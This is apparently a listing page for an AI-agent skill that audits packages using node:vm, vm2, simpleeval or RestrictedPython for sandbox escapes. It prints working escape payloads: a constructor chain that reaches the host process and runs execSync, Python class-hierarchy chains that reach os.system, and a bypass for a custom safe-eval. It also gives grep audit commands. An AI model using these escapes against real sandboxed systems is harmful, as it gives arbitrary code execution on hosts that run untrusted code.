You are helping a penetration tester exploit misconfigured Active Directory
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
Detect VM/sandbox escape vulnerabilities in packages using node:vm, simpleeval, or custom sandboxes that can be bypassed to achieve code execution.
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
설치 방법 보기설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.
Audit any package that uses node:vm, vm2, isolated-vm, simpleeval, RestrictedPython, or custom expression evaluators to run untrusted code.
node:vm is NOT a security mechanism. The Node.js documentation explicitly states this. Constructor chains ALWAYS escape the sandbox. If a package uses vm.runInNewContext() to isolate untrusted code, it is vulnerable.
The fundamental escape from node:vm:
// Inside vm.runInNewContext({}, {}):
this.constructor.constructor('return process')()
// Returns the real process object from the host
Then achieve RCE:
const process = this.constructor.constructor('return process')();
process.mainModule.require('child_process').execSync('id').toString();
this refers to the sandbox objectthis.constructor is Object (from the outer realm)Object.constructor is Function (from the outer realm)Function('return process')() executes in the outer realmprocess gives access to require and the full Node.js API# node:vm
grep -rn "require.*vm.*\|from.*vm" . --include="*.js" --include="*.ts"
grep -rn "vm\.runIn\|vm\.createContext\|vm\.Script\|vm\.compileFunction" .
grep -rn "new Script\|runInNewContext\|runInThisContext\|runInContext" .
# vm2 (deprecated)
grep -rn "require.*vm2\|from.*vm2\|new VM(\|new NodeVM(" .
# Python sandboxes
grep -rn "simpleeval\|SimpleEval\|EvalWithCompoundTypes" .
grep -rn "RestrictedPython\|compile_restricted" .
grep -rn "ast\.literal_eval" .
# Custom sandboxes
grep -rn "sandbox\|safeEval\|safe_eval\|secure_eval" .
| Mechanism | Security Level | Notes |
|---|---|---|
| node:vm | NONE | Not a security boundary. Always escapable. |
| vm2 | LOW-MEDIUM | Deprecated. Multiple CVEs. Check version. |
| isolated-vm | HIGH | Separate V8 isolate. Genuinely isolated. |
| quickjs-emscripten | HIGH | Separate engine in Wasm. |
| Python simpleeval | MEDIUM | Safe for simple expressions. Check version. |
| Python ast.literal_eval | HIGH | Only allows literals. Safe. |
| RestrictedPython | MEDIUM | Check version for known bypasses. |
| Custom eval wrappers | LOW | Almost always bypassable. |
For node:vm, try these in order:
this.constructor.constructor('return process')()For Python, try:
().__class__.__base__.__subclasses__() -- access all loaded classes''.__class__.__mro__[1].__subclasses__() -- string class hierarchyfunc.__globals__, func.__code____builtins__ access through various chainsgrep -rn "freeze\|preventExtensions\|defineProperty" . # Object hardening
grep -rn "Proxy\|handler\|revocable" . # Proxy-based protection
grep -rn "whitelist\|allowlist\|blocklist" . # Function filtering
const vm = require('vm');
const sandbox = {};
vm.runInNewContext('this.constructor.constructor("return process")()', sandbox);
// Returns the real process object
from simpleeval import simple_eval
# Access os module through class hierarchy
simple_eval("().__class__.__base__.__subclasses__()[X].__init__.__globals__['os'].system('id')")
// Custom "safe" eval that blocks require/process/global
function safeEval(code) {
return new Function('require', 'process', 'global', code)(undefined, undefined, undefined);
}
// Bypass: arguments.callee.caller gives access to outer scope
// Or: this.constructor.constructor('return process')()
아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.
로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.
아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.
You are helping a penetration tester exploit misconfigured Active Directory
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
You are helping a penetration tester enumerate an Active Directory domain and
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
You are helping a penetration tester establish persistent access in Active
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
You are helping a penetration tester exploit ADCS through template/CA access
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
You are helping a penetration tester establish persistence through AD CS
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.
You are helping a penetration tester exploit misconfigured AD CS certificate
한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.